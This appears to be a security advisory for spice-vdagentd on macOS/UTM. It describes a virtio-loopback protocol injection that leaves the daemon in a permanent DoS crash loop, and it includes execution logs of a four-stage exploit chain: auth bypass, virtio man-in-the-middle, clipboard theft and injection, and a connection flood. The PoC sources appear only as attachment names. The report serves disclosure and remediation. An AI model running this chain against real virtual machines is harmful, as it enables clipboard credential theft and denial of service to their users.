**CWE-20 (Improper Input Validation) + CWE-400 (Resource Exhaustion)** **CVSS 3.1: 7.1** (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) **Affected:** macOS builds (UTM/Virtualization.framework virtio loopback behavior)
## Root Cause The daemon has two communication channels: 1. **UDSCS socket** — connects to local guest agents ( `/var/run/spice-vdagent-sock`) 2. **Virtio serial port** — connects to SPICE host ( `/dev/tty.com.redhat.spice.0`) Messages sent by guest agents through the UDSCS socket are forwarded by the daemon to the SPICE host via the virtio serial port. On macOS/UTM, this data echoes back through the virtio pipe — data written to the virtio port appears back on the read side. The daemon reads the looped-back data and parses it as incoming VDAgent protocol messages from the host. The daemon performs NO authentication or origin validation on data from the virtio port — it unconditionally trusts all data as coming from the legitimate SPICE host. This means any attacker-controlled UDSCS message is: 1. Forwarded to virtio by the daemon 2. Looped back by the macOS virtio driver 3. Re-read by the daemon as a VDAgent protocol message 4. Parsed and processed as if it came from the trusted host ## Proof — Daemon Log Showing Injection Every UDSCS message type sent through the auth bypass appeared in the daemon log as a VDAgent message type: ``` "unknown message from vdagent: 1, ignoring" ← Our MONITORS_CONFIG (type=1) "unknown message from vdagent: 6, ignoring" ← Our VERSION (type=6) "unknown message from vdagent: 8, ignoring" ← Our FILE_XFER_STATUS (type=8) "unknown message from vdagent: 0, ignoring" ← Our XORG_RESOLUTION (type=0) "unknown message from vdagent: 11, ignoring" ← Our CLIENT_DISCONNECTED (type=11) "unknown message from vdagent: 4294967295" ← Our type 0xFFFFFFFF ``` Bulk data pump fill bytes also parsed as VDAgent types: ``` "unknown message from vdagent: 1111638594" ← 0x42424242 = 'BBBB' fill data "unknown message from vdagent: 1145324612" ← 0x44444444 = 'DDDD' fill data ``` ## Impact — Persistent SPICE DoS The protocol corruption causes the daemon's virtio channel to enter a permanent crash loop (~2 second cycle): ``` Error sending data: Broken pipe closed vdagent virtio channel GLib-WARNING: poll(2) failed due to: Bad file descriptor. opening vdagent virtio channel ← immediately cycles back Error sending data: Broken pipe ← repeat forever ``` Once triggered, ALL SPICE guest services are permanently dead: - Clipboard sharing (host ↔ guest) - File transfer - Display resolution synchronization - Guest agent communication The daemon's launchd plist specifies `KeepAlive.Crashed=false`, meaning a single crash permanently kills the service. Only fix is a full VM reboot. ## Chain Context This is Stage 4 of the complete exploit chain: ``` Stage 1: Auth bypass (Finding 1) → connect as trusted agent Stage 2: Virtio RDWR + TIOCEXCL (Finding 4) → lock daemon out, MitM Stage 3: Clipboard theft/injection → steal host credentials Stage 4: Protocol injection (this finding) → permanent SPICE service DoS ``` An attacker who completed Stages 1-3 can trigger Stage 4 to destroy evidence — the crash loop prevents the legitimate agent from reconnecting. ## Suggested Fix 1. **Tag outbound messages** — Add a magic/sequence number so the daemon can distinguish its own outbound messages from legitimate inbound host messages when they loop back. 2. **Fix KeepAlive** — Change `KeepAlive.Crashed=false` to `KeepAlive=true` in the launchd plist so the daemon recovers from crashes. ## Attachments - `spice_protocol_inject.c` — Protocol injection PoC via virtio loopback - `spice_full_chain.c` — Full 4-stage chain exploit - `chain_proof.txt` — Full chain execution proof (4/4 stages confirmed) ## Author Ashish Kunwar (@D0rkerDevil) — [email protected]
╔══════════════════════════════════════════════════════════════╗ ║ spice-vdagentd 0.22.1 — FULL CHAIN EXPLOIT ║ ║ CWE-287 + CWE-732 + CWE-400 → Complete SPICE Compromise ║ ║ macOS 26.4 / All BSD builds ║ ╚══════════════════════════════════════════════════════════════╝ [*] Attacker: uid=501 (dorkerdevil) [*] Target: spice-vdagentd (root, PID ~286) ┌─ STAGE 1: Authentication Bypass (CWE-287) │ Root cause: dummy-session-info.c:26 returns NULL on macOS │ vdagentd.c:996: all UID/PID checks inside dead if(session_info) [09:33:56] CONNECTED as trusted agent — daemon v0.22.1 [09:33:56] NO credential check performed (auth bypass confirmed) [09:33:56] We are now active_session_conn in root daemon │ [+] STAGE 1: CONFIRMED └ ┌─ STAGE 2: Virtio Serial Port MitM (CWE-732) │ /dev/tty.com.redhat.spice.0 — crw-rw-rw- (world-writable) [09:33:56] Opened RDWR (fd=4) [09:33:56] TIOCEXCL acquired — daemon LOCKED OUT of virtio port [09:33:56] All host↔guest SPICE traffic now under attacker control [09:33:58] Released exclusive — switching to interception mode [09:33:58] Intercepted 40 bytes of SPICE protocol data [09:33:58] VDIChunk: port=2 size=32 [09:33:58] VDAgent: proto=1 type=6 size=12 [09:33:58] Message type: CLIPBOARD_REQUEST (stolen from host→guest channel) │ [+] STAGE 2: CONFIRMED └ ┌─ STAGE 3: Clipboard Theft + Host Injection │ Via auth-bypassed agent socket + virtio write [09:33:58] Sent CLIPBOARD_GRAB — we now own the clipboard channel [09:34:00] Injected 63 bytes to host clipboard: "PWNED_BY_DORKERDEVIL_FULL_CHAIN" │ [+] STAGE 3: CONFIRMED └ ┌─ STAGE 4: Root Daemon DoS via Connection Flood (CWE-400) │ Auth bypass allows unlimited connections │ Each connection consumes an fd in the root daemon [09:34:07] Opened 50 connections (all auth-bypassed)... [09:34:13] Opened 100 connections (all auth-bypassed)... [09:34:18] Opened 150 connections (all auth-bypassed)... [09:34:21] Opened 200 connections (all auth-bypassed)... [09:34:25] Opened 250 connections (all auth-bypassed)... [09:34:25] Daemon refused at connection #252 [09:34:25] Total connections opened: 252 (all as trusted agent) [09:34:25] Daemon serving 252 unauthorized root connections [09:34:25] SPICE virtio channel disrupted (fd exhaustion) [09:34:26] Checking daemon health after flood... [09:34:26] Daemon still accepting connections (version: 0.22.1) │ [+] STAGE 4: CONFIRMED (252 connections) └ ╔══════════════════════════════════════════════════════════════╗ ║ CHAIN EXPLOIT RESULTS ║ ╠══════════════════════════════════════════════════════════════╣ ║ Stage 1 (Auth Bypass): CONFIRMED ✓ ║ ║ Stage 2 (Virtio MitM): CONFIRMED ✓ ║ ║ Stage 3 (Clipboard Inject): CONFIRMED ✓ ║ ║ Stage 4 (DoS Flood): CONFIRMED ✓ ║ ╠══════════════════════════════════════════════════════════════╣ ║ RESULT: FULL CHAIN CONFIRMED — 4/4 stages successful ║ ║ IMPACT: Unprivileged user → Complete SPICE compromise ║ ║ Clipboard theft, host injection, service DoS ║ ╠══════════════════════════════════════════════════════════════╣ ║ CWEs: 287 (Auth Bypass) + 732 (World-Write) + 400 (DoS) ║ ║ CVSS: 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ║ ║ Tested: macOS 26.4, spice-vdagent 0.22.1, arm64 VM ║ ╚══════════════════════════════════════════════════════════════╝
spice_full_chain.c
Description: Binary data
spice_protocol_inject.c
Description: Binary data
